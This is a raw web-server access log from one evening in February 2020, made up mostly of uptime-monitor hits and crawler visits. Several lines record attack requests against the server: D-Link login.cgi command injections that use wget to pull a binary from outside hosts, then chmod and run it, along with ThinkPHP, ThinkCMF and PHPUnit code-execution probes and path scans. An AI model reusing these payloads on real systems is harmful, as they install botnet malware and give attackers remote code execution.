212.91.246.72 - - [28/Feb/2020:18:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.18.240.25 - - [28/Feb/2020:18:34:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:18:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.80.39.93 - - [28/Feb/2020:18:49:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [28/Feb/2020:18:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:18:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.10.73.152 - - [28/Feb/2020:18:58:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:18:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.148.21.149 - - [28/Feb/2020:19:02:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [28/Feb/2020:19:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.80.182.110 - - [28/Feb/2020:19:11:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:19:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.185.157.56 - - [28/Feb/2020:19:11:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:19:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
77.79.134.181 - - [28/Feb/2020:19:16:07 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:19:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.67.254.53 - - [28/Feb/2020:19:23:07 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [28/Feb/2020:19:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [28/Feb/2020:19:23:54 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [28/Feb/2020:19:23:54 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [28/Feb/2020:19:23:54 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [28/Feb/2020:19:23:54 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
95.215.85.167 - - [28/Feb/2020:19:24:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
95.215.85.167 - - [28/Feb/2020:19:24:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:19:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.232.13.10 - - [28/Feb/2020:19:25:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:19:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.14.97.99 - - [28/Feb/2020:19:26:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:19:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.132.175.74 - - [28/Feb/2020:19:38:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:19:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.220.182.23 - - [28/Feb/2020:19:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
18.220.182.23 - - [28/Feb/2020:19:41:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
18.220.182.23 - - [28/Feb/2020:19:41:31 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "http://www.friedrich-list-berlin.de/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:19:41:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:42:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:43:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:44:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:45:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:46:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:47:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:48:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:49:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:50:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:51:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:19:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.73.117.169 - - [28/Feb/2020:19:58:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://45.148.10.194/mips%20-O%20->%20/tmp/leonn;chmod%20777%20/tmp/leonn;/tmp/leonn%20dlink.mips%27$ HTTP/1.1" 400 329 "-" "botnet/2.0"
212.91.246.72 - - [28/Feb/2020:19:58:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
165.16.56.133 - - [28/Feb/2020:19:59:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:19:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.195.148.149 - - [28/Feb/2020:20:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:20:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.249.245.17 - - [28/Feb/2020:20:03:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:20:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
131.161.33.199 - - [28/Feb/2020:20:07:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:20:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.81.83.149 - - [28/Feb/2020:20:11:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [28/Feb/2020:20:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [28/Feb/2020:20:12:58 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:20:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.173.176.198 - - [28/Feb/2020:20:14:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [28/Feb/2020:20:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.225.234.75 - - [28/Feb/2020:20:19:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [28/Feb/2020:20:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [28/Feb/2020:20:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.135.1.160 - - [28/Feb/2020:20:24:20 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [28/Feb/2020:20:24:20 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [28/Feb/2020:20:24:21 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [28/Feb/2020:20:24:21 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [28/Feb/2020:20:24:22 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [28/Feb/2020:20:24:22 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
